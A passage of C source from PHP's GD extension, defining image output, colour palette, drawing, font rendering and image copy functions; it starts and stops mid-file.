php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open temporary file"); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_CONVERT_WBM: if (q == -1) { q = 0; } else if (q < 0 || q > 255) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'. It must be between 0 and 255", q); q = 0; } gdImageWBMP(im, q, tmp); break; case PHP_GDIMG_TYPE_JPG: (*func_p)(im, tmp, q); break; case PHP_GDIMG_TYPE_WBM: for (i = 0; i < gdImageColorsTotal(im); i++) { if (gdImageRed(im, i) == 0) { break; } } (*func_p)(im, q, tmp); break; case PHP_GDIMG_TYPE_GD: if (im->trueColor) { gdImageTrueColorToPalette(im,1,256); } (*func_p)(im, tmp); break; case PHP_GDIMG_TYPE_GD2: if (q == -1) { q = 128; } (*func_p)(im, tmp, q, t); break; default: (*func_p)(im, tmp); break; } fseek(tmp, 0, SEEK_SET); #if APACHE && defined(CHARSET_EBCDIC) /* XXX this is unlikely to work any more thies@thieso.net */ /* This is a binary file already: avoid EBCDIC->ASCII conversion */ ap_bsetflag(php3_rqst->connection->client, B_EBCDIC2ASCII, 0); #endif while ((b = fread(buf, 1, sizeof(buf), tmp)) > 0) { php_write(buf, b TSRMLS_CC); } fclose(tmp); VCWD_UNLINK((const char *)path); /* make sure that the temporary file is removed */ efree(path); } RETURN_TRUE; } /* }}} */ /* {{{ proto int imagexbm(int im, string filename [, int foreground]) Output XBM image to browser or file */ PHP_FUNCTION(imagexbm) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_XBM, "XBM", gdImageXbmCtx); } /* }}} */ /* {{{ proto bool imagegif(resource im [, string filename]) Output GIF image to browser or file */ PHP_FUNCTION(imagegif) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GIF, "GIF", gdImageGifCtx); } /* }}} */ #ifdef HAVE_GD_PNG /* {{{ proto bool imagepng(resource im [, string filename]) Output PNG image to browser or file */ PHP_FUNCTION(imagepng) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG, "PNG", gdImagePngCtxEx); } /* }}} */ #endif /* HAVE_GD_PNG */ #ifdef HAVE_GD_WEBP /* {{{ proto bool imagewebp(resource im [, string filename[, quality]] ) Output WEBP image to browser or file */ PHP_FUNCTION(imagewebp) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WEBP, "WEBP", gdImageWebpCtx); } /* }}} */ #endif /* HAVE_GD_WEBP */ #ifdef HAVE_GD_JPG /* {{{ proto bool imagejpeg(resource im [, string filename [, int quality]]) Output JPEG image to browser or file */ PHP_FUNCTION(imagejpeg) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG, "JPEG", gdImageJpegCtx); } /* }}} */ #endif /* HAVE_GD_JPG */ /* {{{ proto bool imagewbmp(resource im [, string filename, [, int foreground]]) Output WBMP image to browser or file */ PHP_FUNCTION(imagewbmp) { _php_image_output_ctx(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_WBM, "WBMP", gdImageWBMPCtx); } /* }}} */ /* {{{ proto bool imagegd(resource im [, string filename]) Output GD image to browser or file */ PHP_FUNCTION(imagegd) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD, "GD", gdImageGd); } /* }}} */ /* {{{ proto bool imagegd2(resource im [, string filename, [, int chunk_size, [, int type]]]) Output GD2 image to browser or file */ PHP_FUNCTION(imagegd2) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_GD2, "GD2", gdImageGd2); } /* }}} */ /* {{{ proto bool imagedestroy(resource im) Destroy an image */ PHP_FUNCTION(imagedestroy) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); zend_list_delete(Z_LVAL_P(IM)); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorallocate(resource im, int red, int green, int blue) Allocate a color for an image */ PHP_FUNCTION(imagecolorallocate) { zval *IM; long red, green, blue; gdImagePtr im; int ct = (-1); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); ct = gdImageColorAllocate(im, red, green, blue); if (ct < 0) { RETURN_FALSE; } RETURN_LONG(ct); } /* }}} */ /* {{{ proto void imagepalettecopy(resource dst, resource src) Copy the palette from the src image onto the dst image */ PHP_FUNCTION(imagepalettecopy) { zval *dstim, *srcim; gdImagePtr dst, src; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rr", &dstim, &srcim) == FAILURE) { return; } ZEND_FETCH_RESOURCE(dst, gdImagePtr, &dstim, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(src, gdImagePtr, &srcim, -1, "Image", le_gd); gdImagePaletteCopy(dst, src); } /* }}} */ /* {{{ proto int imagecolorat(resource im, int x, int y) Get the index of the color of a pixel */ PHP_FUNCTION(imagecolorat) { zval *IM; long x, y; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &IM, &x, &y) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImageTrueColor(im)) { if (im->tpixels && gdImageBoundsSafe(im, x, y)) { RETURN_LONG(gdImageTrueColorPixel(im, x, y)); } else { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "%ld,%ld is out of bounds", x, y); RETURN_FALSE; } } else { if (im->pixels && gdImageBoundsSafe(im, x, y)) { RETURN_LONG(im->pixels[y][x]); } else { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "%ld,%ld is out of bounds", x, y); RETURN_FALSE; } } } /* }}} */ /* {{{ proto int imagecolorclosest(resource im, int red, int green, int blue) Get the index of the closest color to the specified color */ PHP_FUNCTION(imagecolorclosest) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosest(im, red, green, blue)); } /* }}} */ /* {{{ proto int imagecolorclosesthwb(resource im, int red, int green, int blue) Get the index of the color which has the hue, white and blackness nearest to the given color */ PHP_FUNCTION(imagecolorclosesthwb) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorClosestHWB(im, red, green, blue)); } /* }}} */ /* {{{ proto bool imagecolordeallocate(resource im, int index) De-allocate a color for an image */ PHP_FUNCTION(imagecolordeallocate) { zval *IM; long index; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &index) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); /* We can return right away for a truecolor image as deallocating colours is meaningless here */ if (gdImageTrueColor(im)) { RETURN_TRUE; } col = index; if (col >= 0 && col < gdImageColorsTotal(im)) { gdImageColorDeallocate(im, col); RETURN_TRUE; } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color index %d out of range", col); RETURN_FALSE; } } /* }}} */ /* {{{ proto int imagecolorresolve(resource im, int red, int green, int blue) Get the index of the specified color or its closest possible alternative */ PHP_FUNCTION(imagecolorresolve) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorResolve(im, red, green, blue)); } /* }}} */ /* {{{ proto int imagecolorexact(resource im, int red, int green, int blue) Get the index of the specified color */ PHP_FUNCTION(imagecolorexact) { zval *IM; long red, green, blue; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &red, &green, &blue) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorExact(im, red, green, blue)); } /* }}} */ /* {{{ proto void imagecolorset(resource im, int col, int red, int green, int blue) Set the color for the specified palette index */ PHP_FUNCTION(imagecolorset) { zval *IM; long color, red, green, blue, alpha = 0; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll|l", &IM, &color, &red, &green, &blue, &alpha) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = color; if (col >= 0 && col < gdImageColorsTotal(im)) { im->red[col] = red; im->green[col] = green; im->blue[col] = blue; im->alpha[col] = alpha; } else { RETURN_FALSE; } } /* }}} */ /* {{{ proto array imagecolorsforindex(resource im, int col) Get the colors for an index */ PHP_FUNCTION(imagecolorsforindex) { zval *IM; long index; int col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rl", &IM, &index) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = index; if ((col >= 0 && gdImageTrueColor(im)) || (!gdImageTrueColor(im) && col >= 0 && col < gdImageColorsTotal(im))) { array_init(return_value); add_assoc_long(return_value,"red", gdImageRed(im,col)); add_assoc_long(return_value,"green", gdImageGreen(im,col)); add_assoc_long(return_value,"blue", gdImageBlue(im,col)); add_assoc_long(return_value,"alpha", gdImageAlpha(im,col)); } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Color index %d out of range", col); RETURN_FALSE; } } /* }}} */ /* {{{ proto bool imagegammacorrect(resource im, float inputgamma, float outputgamma) Apply a gamma correction to a GD image */ PHP_FUNCTION(imagegammacorrect) { zval *IM; gdImagePtr im; int i; double input, output; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rdd", &IM, &input, &output) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (gdImageTrueColor(im)) { int x, y, c; for (y = 0; y < gdImageSY(im); y++) { for (x = 0; x < gdImageSX(im); x++) { c = gdImageGetPixel(im, x, y); gdImageSetPixel(im, x, y, gdTrueColorAlpha( (int) ((pow((pow((gdTrueColorGetRed(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5), (int) ((pow((pow((gdTrueColorGetBlue(c) / 255.0), input)), 1.0 / output) * 255) + .5), gdTrueColorGetAlpha(c) ) ); } } RETURN_TRUE; } for (i = 0; i < gdImageColorsTotal(im); i++) { im->red[i] = (int)((pow((pow((im->red[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5); im->blue[i] = (int)((pow((pow((im->blue[i] / 255.0), input)), 1.0 / output) * 255) + .5); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagesetpixel(resource im, int x, int y, int col) Set a single pixel */ PHP_FUNCTION(imagesetpixel) { zval *IM; long x, y, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &x, &y, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageSetPixel(im, x, y, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imageline(resource im, int x1, int y1, int x2, int y2, int col) Draw a line */ PHP_FUNCTION(imageline) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); #ifdef HAVE_GD_BUNDLED if (im->antialias) { gdImageAALine(im, x1, y1, x2, y2, col); } else #endif { gdImageLine(im, x1, y1, x2, y2, col); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagedashedline(resource im, int x1, int y1, int x2, int y2, int col) Draw a dashed line */ PHP_FUNCTION(imagedashedline) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageDashedLine(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagerectangle(resource im, int x1, int y1, int x2, int y2, int col) Draw a rectangle */ PHP_FUNCTION(imagerectangle) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageRectangle(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilledrectangle(resource im, int x1, int y1, int x2, int y2, int col) Draw a filled rectangle */ PHP_FUNCTION(imagefilledrectangle) { zval *IM; long x1, y1, x2, y2, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &x1, &y1, &x2, &y2, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFilledRectangle(im, x1, y1, x2, y2, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagearc(resource im, int cx, int cy, int w, int h, int s, int e, int col) Draw a partial ellipse */ PHP_FUNCTION(imagearc) { zval *IM; long cx, cy, w, h, ST, E, col; gdImagePtr im; int e, st; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllllll", &IM, &cx, &cy, &w, &h, &ST, &E, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); e = E; if (e < 0) { e %= 360; } st = ST; if (st < 0) { st %= 360; } gdImageArc(im, cx, cy, w, h, st, e, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imageellipse(resource im, int cx, int cy, int w, int h, int color) Draw an ellipse */ PHP_FUNCTION(imageellipse) { zval *IM; long cx, cy, w, h, color; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllll", &IM, &cx, &cy, &w, &h, &color) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageEllipse(im, cx, cy, w, h, color); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefilltoborder(resource im, int x, int y, int border, int col) Flood fill to specific color */ PHP_FUNCTION(imagefilltoborder) { zval *IM; long x, y, border, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll", &IM, &x, &y, &border, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFillToBorder(im, x, y, border, col); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagefill(resource im, int x, int y, int col) Flood fill */ PHP_FUNCTION(imagefill) { zval *IM; long x, y, col; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlll", &IM, &x, &y, &col) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); gdImageFill(im, x, y, col); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagecolorstotal(resource im) Find out the number of colors in an image's palette */ PHP_FUNCTION(imagecolorstotal) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageColorsTotal(im)); } /* }}} */ /* {{{ proto int imagecolortransparent(resource im [, int col]) Define a color as transparent */ PHP_FUNCTION(imagecolortransparent) { zval *IM; long COL = 0; gdImagePtr im; int argc = ZEND_NUM_ARGS(); if (zend_parse_parameters(argc TSRMLS_CC, "r|l", &IM, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (argc > 1) { gdImageColorTransparent(im, COL); } RETURN_LONG(gdImageGetTransparent(im)); } /* }}} */ /* {{{ proto int imageinterlace(resource im [, int interlace]) Enable or disable interlace */ PHP_FUNCTION(imageinterlace) { zval *IM; int argc = ZEND_NUM_ARGS(); long INT = 0; gdImagePtr im; if (zend_parse_parameters(argc TSRMLS_CC, "r|l", &IM, &INT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (argc > 1) { gdImageInterlace(im, INT); } RETURN_LONG(gdImageGetInterlaced(im)); } /* }}} */ /* {{{ php_imagepolygon arg = 0 normal polygon arg = 1 filled polygon */ /* im, points, num_points, col */ static void php_imagepolygon(INTERNAL_FUNCTION_PARAMETERS, int filled) { zval *IM, *POINTS; long NPOINTS, COL; zval **var = NULL; gdImagePtr im; gdPointPtr points; int npoints, col, nelem, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rall", &IM, &POINTS, &NPOINTS, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); npoints = NPOINTS; col = COL; nelem = zend_hash_num_elements(Z_ARRVAL_P(POINTS)); if (nelem < 6) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have at least 3 points in your array"); RETURN_FALSE; } if (npoints <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must give a positive number of points"); RETURN_FALSE; } if (nelem < npoints * 2) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Trying to use %d points in array with only %d points", npoints, nelem/2); RETURN_FALSE; } points = (gdPointPtr) safe_emalloc(npoints, sizeof(gdPoint), 0); for (i = 0; i < npoints; i++) { if (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2), (void **) &var) == SUCCESS) { if (Z_TYPE_PP(var) != IS_LONG) { zval lval; lval = **var; zval_copy_ctor(&lval); convert_to_long(&lval); points[i].x = Z_LVAL(lval); } else { points[i].x = Z_LVAL_PP(var); } } if (zend_hash_index_find(Z_ARRVAL_P(POINTS), (i * 2) + 1, (void **) &var) == SUCCESS) { if (Z_TYPE_PP(var) != IS_LONG) { zval lval; lval = **var; zval_copy_ctor(&lval); convert_to_long(&lval); points[i].y = Z_LVAL(lval); } else { points[i].y = Z_LVAL_PP(var); } } } if (filled) { gdImageFilledPolygon(im, points, npoints, col); } else { gdImagePolygon(im, points, npoints, col); } efree(points); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepolygon(resource im, array point, int num_points, int col) Draw a polygon */ PHP_FUNCTION(imagepolygon) { php_imagepolygon(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto bool imagefilledpolygon(resource im, array point, int num_points, int col) Draw a filled polygon */ PHP_FUNCTION(imagefilledpolygon) { php_imagepolygon(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ php_find_gd_font */ static gdFontPtr php_find_gd_font(int size TSRMLS_DC) { gdFontPtr font; int ind_type; switch (size) { case 1: font = gdFontTiny; break; case 2: font = gdFontSmall; break; case 3: font = gdFontMediumBold; break; case 4: font = gdFontLarge; break; case 5: font = gdFontGiant; break; default: font = zend_list_find(size - 5, &ind_type); if (!font || ind_type != le_gd_font) { if (size < 1) { font = gdFontTiny; } else { font = gdFontGiant; } } break; } return font; } /* }}} */ /* {{{ php_imagefontsize * arg = 0 ImageFontWidth * arg = 1 ImageFontHeight */ static void php_imagefontsize(INTERNAL_FUNCTION_PARAMETERS, int arg) { long SIZE; gdFontPtr font; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &SIZE) == FAILURE) { return; } font = php_find_gd_font(SIZE TSRMLS_CC); RETURN_LONG(arg ? font->h : font->w); } /* }}} */ /* {{{ proto int imagefontwidth(int font) Get font width */ PHP_FUNCTION(imagefontwidth) { php_imagefontsize(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto int imagefontheight(int font) Get font height */ PHP_FUNCTION(imagefontheight) { php_imagefontsize(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ php_gdimagecharup * workaround for a bug in gd 1.2 */ static void php_gdimagecharup(gdImagePtr im, gdFontPtr f, int x, int y, int c, int color) { int cx, cy, px, py, fline; cx = 0; cy = 0; if ((c < f->offset) || (c >= (f->offset + f->nchars))) { return; } fline = (c - f->offset) * f->h * f->w; for (py = y; (py > (y - f->w)); py--) { for (px = x; (px < (x + f->h)); px++) { if (f->data[fline + cy * f->w + cx]) { gdImageSetPixel(im, px, py, color); } cy++; } cy = 0; cx++; } } /* }}} */ /* {{{ php_imagechar * arg = 0 ImageChar * arg = 1 ImageCharUp * arg = 2 ImageString * arg = 3 ImageStringUp */ static void php_imagechar(INTERNAL_FUNCTION_PARAMETERS, int mode) { zval *IM; long SIZE, X, Y, COL; char *C; int C_len; gdImagePtr im; int ch = 0, col, x, y, size, i, l = 0; unsigned char *str = NULL; gdFontPtr font; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlllsl", &IM, &SIZE, &X, &Y, &C, &C_len, &COL) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); col = COL; if (mode < 2) { ch = (int)((unsigned char)*C); } else { str = (unsigned char *) estrndup(C, C_len); l = strlen((char *)str); } y = Y; x = X; size = SIZE; font = php_find_gd_font(size TSRMLS_CC); switch (mode) { case 0: gdImageChar(im, font, x, y, ch, col); break; case 1: php_gdimagecharup(im, font, x, y, ch, col); break; case 2: for (i = 0; (i < l); i++) { gdImageChar(im, font, x, y, (int) ((unsigned char) str[i]), col); x += font->w; } break; case 3: { for (i = 0; (i < l); i++) { /* php_gdimagecharup(im, font, x, y, (int) str[i], col); */ gdImageCharUp(im, font, x, y, (int) str[i], col); y -= font->w; } break; } } if (str) { efree(str); } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagechar(resource im, int font, int x, int y, string c, int col) Draw a character */ PHP_FUNCTION(imagechar) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } /* }}} */ /* {{{ proto bool imagecharup(resource im, int font, int x, int y, string c, int col) Draw a character rotated 90 degrees counter-clockwise */ PHP_FUNCTION(imagecharup) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1); } /* }}} */ /* {{{ proto bool imagestring(resource im, int font, int x, int y, string str, int col) Draw a string horizontally */ PHP_FUNCTION(imagestring) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 2); } /* }}} */ /* {{{ proto bool imagestringup(resource im, int font, int x, int y, string str, int col) Draw a string vertically - rotated 90 degrees counter-clockwise */ PHP_FUNCTION(imagestringup) { php_imagechar(INTERNAL_FUNCTION_PARAM_PASSTHRU, 3); } /* }}} */ /* {{{ proto bool imagecopy(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h) Copy part of an image */ PHP_FUNCTION(imagecopy) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; gdImageCopy(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopymerge(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct) Merge one part of an image with another */ PHP_FUNCTION(imagecopymerge) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, PCT; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX, pct; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrlllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH, &PCT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; pct = PCT; gdImageCopyMerge(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH, pct); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopymergegray(resource src_im, resource dst_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h, int pct) Merge one part of an image with another */ PHP_FUNCTION(imagecopymergegray) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, PCT; gdImagePtr im_dst, im_src; int srcH, srcW, srcY, srcX, dstY, dstX, pct; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrlllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &SW, &SH, &PCT) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; pct = PCT; gdImageCopyMergeGray(im_dst, im_src, dstX, dstY, srcX, srcY, srcW, srcH, pct); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagecopyresized(resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h) Copy and resize part of an image */ PHP_FUNCTION(imagecopyresized) { zval *SIM, *DIM; long SX, SY, SW, SH, DX, DY, DW, DH; gdImagePtr im_dst, im_src; int srcH, srcW, dstH, dstW, srcY, srcX, dstY, dstX; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rrllllllll", &DIM, &SIM, &DX, &DY, &SX, &SY, &DW, &DH, &SW, &SH) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im_dst, gdImagePtr, &DIM, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); srcX = SX; srcY = SY; srcH = SH; srcW = SW; dstX = DX; dstY = DY; dstH = DH; dstW = DW; if (dstW <= 0 || dstH <= 0 || srcW <= 0 || srcH <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid image dimensions"); RETURN_FALSE; } gdImageCopyResized(im_dst, im_src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); RETURN_TRUE; } /* }}} */ /* {{{ proto int imagesx(resource im) Get image width */ PHP_FUNCTION(imagesx) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageSX(im)); } /* }}} */ /* {{{ proto int imagesy(resource im) Get image height */ PHP_FUNCTION(imagesy) { zval *IM; gdImagePtr im; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &IM) == FAILURE) { return; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); RETURN_LONG(gdImageSY(im)); } /* }}} */ #ifdef ENABLE_GD_TTF #define TTFTEXT_DRAW 0 #define TTFTEXT_BBOX 1 #endif #ifdef ENABLE_GD_TTF #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE /* {{{ proto array imageftbbox(float size, float angle, string font_file, string text [, array extrainfo]) Give the bounding box of a text using fonts via freetype2 */ PHP_FUNCTION(imageftbbox) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_BBOX, 1); } /* }}} */ /* {{{ proto array imagefttext(resource im, float size, float angle, int x, int y, int col, string font_file, string text [, array extrainfo]) Write text to the image using fonts via freetype2 */ PHP_FUNCTION(imagefttext) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 1); } /* }}} */ #endif /* HAVE_GD_FREETYPE && HAVE_LIBFREETYPE */ /* {{{ proto array imagettfbbox(float size, float angle, string font_file, string text) Give the bounding box of a text using TrueType fonts */ PHP_FUNCTION(imagettfbbox) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, 